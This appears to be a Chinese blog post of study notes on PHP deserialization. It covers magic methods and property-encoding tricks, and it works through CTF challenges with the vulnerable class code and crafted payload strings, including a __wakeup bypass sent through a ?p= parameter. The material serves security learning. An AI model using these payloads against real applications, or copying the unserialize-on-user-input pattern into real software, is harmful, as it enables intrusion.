反序列化

引入

PHP反序列化-CSDN博客

[Web/基础/反序列化]反序列化轻量总结_web反序列化 魔术方法白名单-CSDN博客

【Web方向】 3-0 PHP反序列化基础语法知识(续更中…)_o:1:“s”:1:{s:4:“test”;s:29:“”;}代码解释-CSDN博客

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;

反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用;

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;

常见的php序列化和反序列化方式主要有:serialize,unserialize

反序列化中常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

反序列化绕过

protected和private绕过

如果变量前是protected,则是\x00*\x00类名的形式
如果变量前是private,则是\x00类名\x00的形式

绕过:
①:php7.1+反序列化对类属性不敏感,将protected改成public
②:手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作

_wakeup绕过

原理:
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行
示例:
O:4:"Dino":**1**:{s:1:"a";s:4:"misc";}改为O:4:"Dino":**2**:{s:1:"a";s:4:"misc";}

通过值的引用可以使$a的值与$b的值相等

例题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>

在29行程序调用反序列化方法时,会自动执行__weakup()函数,而显然weakup方法会加密上传的序列化参数中的passwd,而sha1是不可逆加密算法,目前也没有合适的sha1碰撞的方式,故考虑到绕过__weakup()函数;

php的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup(); 因而先构造

O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}

改成

O:6:”HaHaHa”:3:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}

例题ez_unserialize

打开网页没看到题目,用御剑后台扫描一下

看到一个robots.txt

关于robots.txt,

robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。 但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。

从robots文件中得知存在/cl45s.php,遂进入该目录下打开该文件,获得代码

?p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}


反序列化
http://example.com/2023/12/02/反序列化/
Author
chaye
Posted on
December 2, 2023
Licensed under